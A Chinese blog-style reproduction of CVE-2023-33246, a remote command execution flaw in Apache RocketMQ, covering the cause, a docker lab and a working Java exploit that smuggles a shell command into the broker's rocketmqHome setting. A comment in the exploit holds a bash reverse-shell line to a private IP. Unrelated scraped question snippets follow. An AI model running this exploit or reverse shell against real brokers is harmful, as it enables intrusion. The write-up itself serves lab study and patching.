漏洞复现-CVE-2023-33246 Apache RocketMQ RCE漏洞原理与复现

2023-11-09


漏洞原理

漏洞描述

For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .

对于RocketMQ 5.1.0及以下版本,在某些情况下,存在远程命令执行的风险。RocketMQ的几个组件,包括NameServer、Broker和Controller,在网络上泄露,并且缺乏权限验证,攻击者可以通过使用更新配置功能作为RocketMQ运行的系统用户执行命令来利用此漏洞。此外,攻击者还可以通过伪造RocketMQ协议内容来达到同样的效果。为了防止这些攻击,建议使用RocketMQ 5.x的用户升级到5.1.1或更高版本,使用Rocket MQ 4.x的用户升级到4.9.6或更高版本。

影响范围

5.x版本小于5.1.1
4.x版本小于4.9.6

Apache RocketMQ学习

文档学习

通过快速开始可以知道rocketmq有Nameserver、Broker、Proxy等概念。Nameserver是在9786端口,Broker是在10911端口。
在这里插入图片描述
通过Admin Tool可知能够修改集群配置
在这里插入图片描述
查看服务端配置
在这里插入图片描述

代码审计

在broker.filtersrv.FilterServerManager的60行左右调用了createFilterServer()函数,该函数调用了buildStartCommand()函数
在这里插入图片描述
查看buildStartCommand()函数可以知道此处拼接了配置文件中的内容
在这里插入图片描述

漏洞复现

docker环境搭建

version: '2'
services:
 rocketmq:
   image: vulhub/rocketmq:5.1.0
   ports:
     - 10911:10911
     - 9876:9876
docker-compose up -d

在这里插入图片描述

exp代码

使用的Java代码,maven构建
Main.java

import java.util.Properties;
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

public class Main {
    public static void main(String[] args) throws Exception {
        Properties props = new Properties();
        String ip = "10.28.144.100";
        // bash -i >& /dev/tcp/10.28.144.100/65532 0>&1
        String cmd = "touch /tmp/killer9";
        if (args.length == 2) {
            ip = args[0];
            cmd = args[1];
        }
        props.setProperty("rocketmqHome", "-c $@|sh . echo " + cmd + ";");
        props.setProperty("filterServerNums", "1");
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        admin.setNamesrvAddr(ip + ":9876");
        admin.start();
        admin.updateBrokerConfig(ip + ":10911", props);
        admin.shutdown();
        System.out.println("attack "+ ip + " with command " + cmd + " finish!");
    }
}

pom.xml部分内容如下

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
        <dependency>
            <groupId>org.apache.rocketmq</groupId>
            <artifactId>rocketmq-tools</artifactId>
            <version>5.1.0</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-shade-plugin</artifactId>
                <version>3.1.0</version>
                <configuration>
                    <createDependencyReducedPom>false</createDependencyReducedPom>
                </configuration>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>shade</goal>
                        </goals>
                        <configuration>
                            <transformers>
                                <transformer
                                        implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                                    <mainClass>Main</mainClass>
                                </transformer>
                                <transformer
                                        implementation="org.apache.maven.plugins.shade.resource.AppendingTransformer">
                                    <resource>reference.conf</resource>
                                </transformer>
                            </transformers>
                            <filters>
                                <filter>
                                    <artifact>*:*:*:*</artifact>
                                    <excludes>
                                        <exclude>META-INF/*.SF</exclude>
                                        <exclude>META-INF/*.DSA</exclude>
                                        <exclude>META-INF/*.RSA</exclude>
                                    </excludes>
                                </filter>
                            </filters>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

打包后使用第一个参数是ip,第二个是命令

java -jar cve-2023-33246-SNAPSHOT.jar 10.28.144.100 "touch /tmp/lady_killer"

在这里插入图片描述
过一会儿后进入容器查看目录可以看到命令已执行
在这里插入图片描述

总结

服务端管理员调用的接口没有鉴权,且将内容直接拼接到执行的命令,没有做过滤。

参考

CVE-2023-33246
Apache-rocketmq
Apache-rocketmq服务器配置
Github-Apache-rocketmq

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

漏洞复现-CVE-2023-33246 Apache RocketMQ RCE漏洞原理与复现 的相关文章

  • 如何在应用程序级别管理只读数据库连接

    我们使用的是Java Spring Ibatis MySql 有没有办法利用这些技术在应用程序级别管理只读连接 我希望在只读 MySql 用户的基础上添加额外的保护层 如果 BasicDataSource 或 SqlMapClientTem
  • 如何使用 Apache HttpClient 4 获取文件上传的进度条?

    我有以下用于使用 Apache 的 HTTP Client org apache http client 上传文件的代码 public static void main String args throws Exception String
  • Amazon EC2 - Apache 服务器重启问题

    当我运行这个命令时 sudo etc init d httpd restart 它给出以下错误 停止 httpd 失败 启动 httpd 98 地址已在使用中 make sock 无法绑定到地址 80 98 地址已在使用 make sock
  • 绕过带index.php和不带index.php的url的htpasswd身份验证

    我已经使用 htaccess 文件添加了 htpasswd 保护进行身份验证 现在我想绕过身份验证www website com and www website com index php其中两个 url 都在访问 index php 文件
  • 配置Apache将SSL客户端证书发送到后端服务器

    我想配置 Apache 以便它接收客户端证书 并将其传递到另一台服务器 我在用着 Windows 上的 Apache 2 0 65 后端服务器是基于 apache 的解决方案 IBM HTTP Server 我尝试了这个配置
  • PHP:如何访问根目录之外的下载文件夹? [复制]

    这个问题在这里已经有答案了 我如何创建一个 PHP 脚本 页面 允许会员 买家下载存储在根目录之外的下载文件夹中的压缩文件 产品 我正在使用 Apache 服务器 请帮忙 谢谢 保罗 G 您可能会在 soac 提供的链接中找到一些更好的信息
  • 仅当未找到文件时才重定向请求?

    我希望有一种方法可以使用 mod rewrite 和 Apache 来做到这一点 但也许还有另一种方法可以考虑 在我的网站上 我为客户的网站重新设计版本设置了目录 如果网络根目录是 home blah www 客户端目录将是 home bl
  • 请求标头与响应标头

    我正在尝试将图像缓存在网站上 该图像由 PHP 提供服务 其中我使用适当的值设置缓存控制的响应标头 但这不是缓存图像 我认为这可能与具有无缓存缓存控制的请求标头有关 标题如下 响应头 Access Control Allow Origin
  • SSE(EventSource):为什么不超过6个连接?

    我想看看在我的机器超载之前我可以设置多少个并发 SSE 又名 EventSource 连接 但使用 Firefox Firefox 18 或 Firefox 20 进行测试时 它在 6 个连接处停止 附加连接没有给出错误 但不发送任何数据
  • 为什么有人将(Apache mod_expires 参数)ExpiresByType 设置为“访问加 0 秒”?

    在审查答案时这个帖子 https stackoverflow com questions 9933012 how to use mod headers and mod expires to cache 我不明白为什么这里使用 0 秒作为最佳
  • PHP 强制 Apache 错误

    感谢这个论坛 我了解到 PHP header 函数实际上并不将 header 发送到 Apache 服务器 而只发送到客户端 我想要做的是生成错误 500 并让 Apache 显示其相应的页面 有办法强制吗 提前致谢 还有 Allez le
  • PHP和.htaccess认证解决方案

    这是布局 web root admin dir index php js img other files dirs dir files 到目前为止 我使用 htaccess passwd 保护管理目录 因为我希望对该目录中的所有文件 包括
  • 为什么我的 PHP 脚本无法对其创建的文件进行 chmod?

    我有一个 php 创建一个需要可执行的文件 它是一个需要由系统运行的批处理文件 由于某种原因 即使该文件归 apache 所有并且 php 作为 apache 运行 并且创建了该文件 该脚本还是在 chmod 行处终止 我需要进行哪些不同配
  • Apache 虚拟主机始终重定向到 /dashboard

    我遇到的问题似乎是一个常见问题 但我找到的任何解决方案似乎都不适合我的情况 我正在尝试设置一个虚拟主机 以便我可以通过 mytestdomain local 访问我的 Laravel 安装的公共文件 但是当我在 google chrome
  • 使用 WSGI 在 Windows XAMPP 中设置 Python 路径

    我正在 Webfaction 上设置实时服务器的开发版本 在本地计算机上的虚拟 Apache 服务器环境 运行没有任何错误 中运行 Django 应用程序 XP 使用 Python 2 6 运行 XAMPP Lite 我可以提交更改通过 G
  • Capistrano 和 XSendFile 配置

    我正在尝试使用 Apache 2 2 Passenger 4 0 59 和 XSendFile 0 12 配置 Rails 生产服务器 应用程序通过 Capistrano 部署 部署的应用程序生成 可能很大 PDF Rails root t
  • 如何使用`RewriteRule ^(.*)$ ?id=$1 [L,QSA]`通过.htaccess获取文件目录?

    如何使用 htaccess 获取文件目录RewriteRule id 1 L QSA 如果 htaccess 位于http localhost some dir htaccess我正在打开http localhost some dir he
  • AH10411 错误:在 apache mod_rewrite 中管理空格和 %20

    我今天更新了 Apache 到 2 4 56 1 并且加载了 htaccess过去有效的重写现在出现了 AH10411 错误 与查询中的空格有关 我正在努力寻找 适当 的解决方案 用户单击一个链接 例如 a href FISH 20J123
  • 文件不存在时.htaccess 重定向

    我正在使用 htaccess 将用户重定向到我的主控制器 并且工作正常 但是当我调用一个不存在的js文件时 如下所示 这个js文件不只是说404 文件不存在 而是获取index php的内容 我应该如何进行 这是我的 htaccess
  • SVN运行上下文错误:现有连接被远程主机强制关闭

    我在 Debian Wheezy 构建服务器上创建了一个 SVN 存储库 如下所示本教程 http www networkworld com article 2224093 opensource subnet use subversion

随机推荐

  • pthread_attr_init线程属性

    1 线程属性 线程具有属性 用pthread attr t表示 在对该结构进行处理之前必须进行初始化 在使用后需要对其去除初始化 我们用pthread attr init函数对其初始化 用pthread attr destroy对其去除初始
  • ArcGIS Server for javascript构建自己的GraphicsLayer

    ArcGIS Server for javascript构建自己的GraphicsLayer 提起GraphicLayer就不得不说说Graphic GraphicLayer是一个包含多个Graphic的容器 而Graphic则是一个包含了
  • 若依ztree树表实现

    API Document zTree jQuery tree plug ins 以上是tree结构的推荐学习网站 问题的起源是当时刚接需求的时候需要实现树表 在初次接触时确实出现了一些问题 用了些时间才弄出来 不是驴不走就是磨不转 所以分享
  • Automa一个自动帮我完成浏览器操作,太棒了

    Automa 是一个免费 开源的 Chrome 扩展 它通过目前流行的 No Code 无代码方式 只需要拖拽模块就实现了浏览器自动化 比如自动填写表格 执行重复性任务 在工作中 如果我们遇到重复性工作 或者说是浏览器自动完成的一些操作 我
  • 单片机攻城之LeetCode刷题-704. 二分查找

    今天刷的LeetCode编程题目是704 二分查找 以下是学习笔记 二分查找算法详解 在升序数组nums 中寻找目标值target 对于特定下标i 比较nums i 和 target 的大小 1 如果nums i target 则下标i即为
  • 日语五十音图(带图)

    前言 日语的每个假名代表一个音节 拗音除外 所以属于音节字母 日语的假名共有七十一个 包括清音 浊音 半浊音和拨音 其中表示四十五个清音音节的假名 按照发音规律 可排列成表 这个假名表称为五十音图 五十音図 正文 清音 a i u e o
  • C#类(Class)的使用

    class类型是引用类型 创建类对象时 会在堆区为该对象分配内存 所分配的内存会由垃圾回收器 GC 自动管理 无需手动释放 1 声明类 我们使用class关键字来声明类 语法 访问修饰词 public private internal 修饰
  • GIS开发入坑(二)--ArcGIS影像切片并使用GeoServer发布

    目录 1 使用ArcGIS切片 1 1修改ArcMap选项 1 2创建切片缓存方案 1 3开始切片 2 使用GeoServer发布切片缓存 2 1 启用GeoWebcache 2 2 发布切片 GeoServer用了一段时间已经略懂一二 实
  • 公网远程连接Oracle数据库【内网穿透】

    文章目录 前言 1 数据库搭建 2 内网穿透 2 1 安装cpolar内网穿透 2 2 创建隧道映射 3 公网远程访问 4 配置固定TCP端口地址 4 1 保留一个固定的公网TCP端口地址 4 2 配置固定公网TCP端口地址 4 3 测试使
  • 浅谈数据模糊搜索

    第一步 既然是搜索那就肯定有一个input输入框 我们使用数据双向绑定绑定input输入框的数据 上代码
  • Linux添加虚拟网卡的多种方法

    Linux添加虚拟网卡的多种方法 有时候 一台服务器需要设置多个ip 但又不想添加多块网卡 那就需要设置虚拟网卡 这里介绍几种方式在linux服务器上添加虚拟网卡 我们向eth0中添加一块虚拟网卡 第一种方法 快递创建 删除虚拟网卡 sud
  • Asp.Net中获取Castle容器中的服务的另一方法

    由于之前的表空间定义得太小 很快就用满了 给表空间新增了一个文件 新增到了4G 但发现还是不行 经查资料 明白除了要扩大表空间之外 还要授权给用户在这个表空间具有不受限制的表空间大小 如下为操作脚本 1 alter tablespace D
  • 赞叹AI的力量-TopazLabs 全家桶使用经历

    一 Topaz Gigapixel AI 之前有用过日本的一个2x提升的在线网站服务waifu2x 是通过深度卷积神经网络来实现的 对于anime style的图片效果是非常好的 使用过之后发现对于一些真实图片效果也不错 只是放大之后能明显
  • 网络营销三大战术品牌应如何选择?

    社会发展的今天 互联网几乎被用于一切事物 交流 学习 娱乐 购物等 目前全球有43 3亿互联网用户 这还是粗略计算并且这个数字每秒钟都在增加 对于营销人员而言这是一个难能可贵的机会 可以如此轻松地接触到如此多的人 在这篇文章中 178软文网
  • Linux高性能服务器编程|阅读笔记:第7章 - Linux服务器程序规范

    目录 简介 系列笔记 7 1 日志 7 1 1 Linux系统日志 7 1 2 syslog函数 7 2 用户信息 7 2 1 UID EUID GID和EGID 7 2 2 切换用户 7 3 进程间关系 7 3 1 进程组 7 3 2 会
  • 2023最新安装微信小程序开发软件安装教程

    一 安装开发者工具 我们在开发小程序之前 首先需要安装小程序开发者工具 今天就来教大家安装小程序开发者工具 微信开放文档 qq com https developers weixin qq com miniprogram dev frame
  • python中 for in 用法_python中for in的用法详解

    for in 说明 也是循环结构的一种 经常用于遍历字符串 列表 元组 字典等 格式 for x in y 循环体 执行流程 x依次表示y中的一个元素 遍历完所有元素循环结束 例1 遍历字符串 s I love you more than
  • Sqlite3 C++ 使用方法

    需要在 C 程序中读写 sqlite3 数据库 查阅了一下资料 发现了一个简单实用教程 另外还有如何在windows下生成sqlite3静态库 生成好的sqlite3静态库可以在这里下载 windows下生成sqlite3静态库 去 sql
  • 电阻(4)温度特性

    一 电阻的温度特性 1 电阻会有温漂 随着温度的变化 则阻值会也会相应的发生变化 1 1 以下的图就是电阻的阻值和温度的关系 直线内的就是标称值 55 70度 一旦超过这个温度不同封装的电阻的阻值下降也是不一样 二 精细的温度变化和阻值的关
  • 漏洞复现-CVE-2023-33246 Apache RocketMQ RCE漏洞原理与复现

    目录 漏洞原理 漏洞描述 影响范围 Apache RocketMQ学习 文档学习 代码审计 漏洞复现 docker环境搭建 exp代码 总结 参考 漏洞原理 漏洞描述 For RocketMQ versions 5 1 0 and belo